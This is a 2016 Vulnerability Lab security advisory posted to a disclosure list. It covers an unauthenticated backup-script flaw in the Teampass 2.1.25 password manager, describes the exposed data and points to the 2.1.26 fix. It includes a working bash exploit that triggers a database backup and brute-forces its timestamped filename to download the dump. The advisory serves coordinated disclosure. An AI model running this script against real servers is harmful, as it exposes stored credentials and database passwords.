[FD] Teampass v2.1.25 - Unauthenticated Access Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
Teampass v2.1.25 - Unauthenticated Access Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1844


Release Date:
=============
2016-05-18


Vulnerability Laboratory ID (VL-ID):
====================================
1844


Common Vulnerability Scoring System:
====================================
6.8


Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a 
collaborative way on any server Apache, 
MySQL and PHP. It is especially designed to provide passwords access security 
for allowed people.

(Copy of the Homepage: http://teampass.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple 
vulnerabilities in the official Teampass v2.1.25 application.


Vulnerability Disclosure Timeline:
==================================
2016-05-11: Researcher Notification & Coordination (Peter Kok)
2016-05-12 Vendor Notification (Teampass Security Team)
2016-05-12: Vendor Response/Feedback (Teampass Security Team)
2016-05-13: Vendor Fix/Patch (Teampass Developer Team)
2016-05-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An unauthenticated access vulnerability has been discovered in the official 
Teampass v2.1.25 application.
The vulnerability allows remote attacker unauthenticated access to sensitive 
database management system information.

The script /backups/script.backup.php allows administrators to create database 
backups. There are 3 problems with this script ...
- there is no authentication needed to run the script
- the backups are stored within the webroot in the /backups directory
- the name of the backup is predictable as it uses the name bck_cpassman-[epoch 
time].sql by default

These backup contains all lot of sensitive data. Usernames, hashed passwords, 
description fields with information, etc..
As most of the passwords inserted by users are hashed, some are visible in 
clear text like:
- the database password
- in the teampass_misc table there are clear text password for smtp and ldap 
connections

The security risk of the vulnerability is estimated as high with a cvss (common 
vulnerability scoring system) count of 6.8. 
Exploitation of the security web vulnerability requires no privileged 
web-application user account and user interaction. 
Successful exploitation of the vulnerability results in unauthenticated access 
of dumps and physical database information.

Vulnerable Module(s):
                        [+] ./backups/

Vulnerable File(s):
                        [+] script.backup.php


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction 
or privileged user account.
For security demonstration or to reproduce the issue follow the provided 
information and steps below to continue.

PoC: Exploit
#!/bin/bash

#/backups/script.backup.php in Teampass 2.1.25 and earlier allows 
unauthenticated access
# Default Teampass database backup filename is bck_cpassmann-[current epoch 
time].sql and 
# is stored in the backups directory. 
# Only thing we have to do is get the epoch time at which the database backup 
was generated. 
# First the script gets the server time from the index.php page, runs the 
script.backup.php 
# to create the backup and again gets the current server time from the 
index.php. 
# As we now know in which period the backup is created we can guess the filename

BACKUPFILENAME=bck_cpassman

if [ ! "$1" ]
then
        echo "Usage: $0 [url] [options]"
        echo -e "nOptions:"
        echo -e "t--increase    increase timezone until backup is 
found(default)"
        echo -e "t--decrease    decrease timezone until backup is found"
        exit 0
fi

#get current server time from login page before generating the backup
S_SERVERTIME=$(curl -k -s $1/|grep "fa fa-clock-o"|rev|awk '{ print $1 }' |rev)
S_EPOCHTIME=$(date +%s -d "$S_SERVERTIME")

#generate backup
curl -k $1/backups/script.backup.php

#get current server time from login page after generating the backup
E_SERVERTIME=$(curl -k -s $1/|grep "fa fa-clock-o"|rev|awk '{ print $1 }' |rev)
E_EPOCHTIME=$(date +%s -d "$E_SERVERTIME")


while :
do
        i=$(($S_EPOCHTIME))
        while [ $i -le $E_EPOCHTIME ]
        do      
                echo -n "Trying to download $1/backups/$BACKUPFILENAME-$i.sql   
"
                curl -k -s -f --output /dev/null 
$1/backups/$BACKUPFILENAME-$i.sql && echo "[+] DATABASE BACKUP FOUND!" && 
FOUND=1 || echo "[-] not available"
                if [ "$FOUND" == "1" ]
                then
                        echo -e "n>>> Database backup available at: 
$1/backups/$BACKUPFILENAME-$i.sql <<<nn"
                        exit 0
                fi
                i=$(($i+1))
        done
        
        if [ "$FOUND" != "1" ] && [ "$2" == "--decrease" ]
        then
                S_EPOCHTIME=$(($S_EPOCHTIME-3600))
                E_EPOCHTIME=$(($E_EPOCHTIME-3600))
                echo "Testing with different timezone($(date -d @$S_EPOCHTIME))"
        elif [ "$FOUND" != "1" ]
        then
                S_EPOCHTIME=$(($S_EPOCHTIME+3600))
                E_EPOCHTIME=$(($E_EPOCHTIME+3600))
                echo "Testing with different timezone($(date -d @$S_EPOCHTIME))"
        fi
done
exit 0


Solution - Fix & Patch:
=======================
Note: The manufacturer fixed the vulnerability and an update is available for 
download in version 2.1.26.
URL: http://teampass.net/2016-05-13-release-2.1.26


Security Risk:
==============
The security risk of the vulnerabilities in the teampass application are 
estimated as high. (CVSS 6.8)


Credits & Authors:
==================
Peter Kok -  [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]


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=========================
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